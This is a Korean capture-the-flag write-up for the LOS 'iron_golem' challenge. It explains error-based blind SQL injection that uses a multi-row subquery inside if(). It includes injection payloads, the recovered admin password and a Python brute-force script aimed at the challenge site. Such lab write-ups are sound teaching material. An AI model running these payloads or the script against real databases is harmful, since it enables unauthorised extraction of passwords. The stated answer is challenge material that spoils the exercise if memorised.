LOS 21(iron_golem)
문제 분석
pw에 "prob" , "_" , "." ,"sleep","benchmark" 를 피해줘야 하고
id를 조회하는 쿼리가 에러가 있다면 에러 페이지가 출력되는데 이것으로 blind injection을 진행한다.
결국 blind injection으로 알아낸 admin의 pw값을 정확히 입력해줘야 문제가 풀린다.
pw값이 존재하며 입력 받은 pw의 값과 같은 조건을 우회하기는 힘들다.
이전 문제들과 다르게 hello admin 없이 에러를 활용해서 password를 알아내는 것이 핵심이다
문제풀이
이문제에선 if를 활용하여 출력하는 줄의 수가 달라서 에러가 발생하는것을 이용 한다.
where id='admin' and pw= '' or if(1,1,(select 1 union select 2)) and id='admin'
=> and로 묶이는 주황색 조건은 pw='' 때문에 전부 false가 되고 뒤에 id가 admin이란 조건과 참인 조건이 만나면 hello admin이 출력되어 조건이 맞는지 아닌지 파악 가능
=>파란색 조건에서 id='admin'조건을 해주지않는다면 다른 id인 guest와 혼동될수 있다.
=>if (1,1,(select 1 union select 2)) 이 쿼리에서 1 자리에 조건이 들어가는데 조건이 참이면 1이 반환되지만 참이 아니라면 (select 1 union select 2)가 출력되는데 이 쿼리문은 "서브쿼리에서는 2개 이상의 row를 반환할 수 없다"는 규칙에 따라 에러가 나는 쿼리이다.
이제 1 대신 pw와 관련된 조건을 입력하여 blind injection을 진행한다.
문제 정답
pw 길이를 알아내는 조건
URL?pw=' or if(length(pw)=1,1,(select 1 union select 2)) and id='admin'#
1의 값을 하나씩 바꿔주는데 hello admin이 출력되는 수가 pw의 길이이다.
pw 값을 알아내는 조건
URL?pw=' or if(ord(mid(pw,1,1))=1,1,(select 1 union select 2)) and id='admin'#
pw의 자릿수를 아스키코드로 바꿔 참이되는지 파악하는 조건문이며 1은 pw의 자릿수를 의미하고 1에 맞는 ascii 숫자가 들어가면 조건이 참이 되면서 에러가 발생하지 않는다 만약 참이 아니라면 에러 페이지가 출력된다.
url을 조작할시 #는 %23으로 입력해줘야한다.
따라서 위의 조건을 통해 password를 알아내서 pw를 정확히 입력하면 문제가 풀린다.
URL?pw=06b5a6c16e8830475f983cc3a825ee9a
아래의 코드를 통해 쉽게 알아낼 수 있다.
문제 풀이 코드
import requests
url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'} #로그인 쿠키
count=0
data={}
password=""
same=""
for pw_length in range(1,40):
data['pw']="' or if(length(pw)="+str(pw_length)+",1,(select 1 union select 2)) and id='admin'#"
#if 출력하는 줄의 수가 달라서 에러가 발생하는것을 이용
# (select 1 union select 2) 이 쿼리는 "서브쿼리에서는 2개 이상의 row를 반환할 수 없다"는 규칙에 따라 에러가 나는 쿼리이다.
res = requests.get(url, params=data, cookies=session)
if "include" in res.text:
print("pw_length:"+str(pw_length))
break
for i in range(1,pw_length+1):
for j in range(32,127):
count=0
data['pw']="' or if(ord(mid(pw,"+str(i)+",1))="+str(j)+",1,(select 1 union select 2)) and id='admin'#"
res = requests.get(url, params=data, cookies=session)
if "include" in res.text:
count=1
password+=chr(j)
print(password)
break
data['pw']=password
res = requests.get(url, params=data, cookies=session)
print(res.url)
if "Clear!" in res.text:
print("\nClear!")
else:
print("try again!")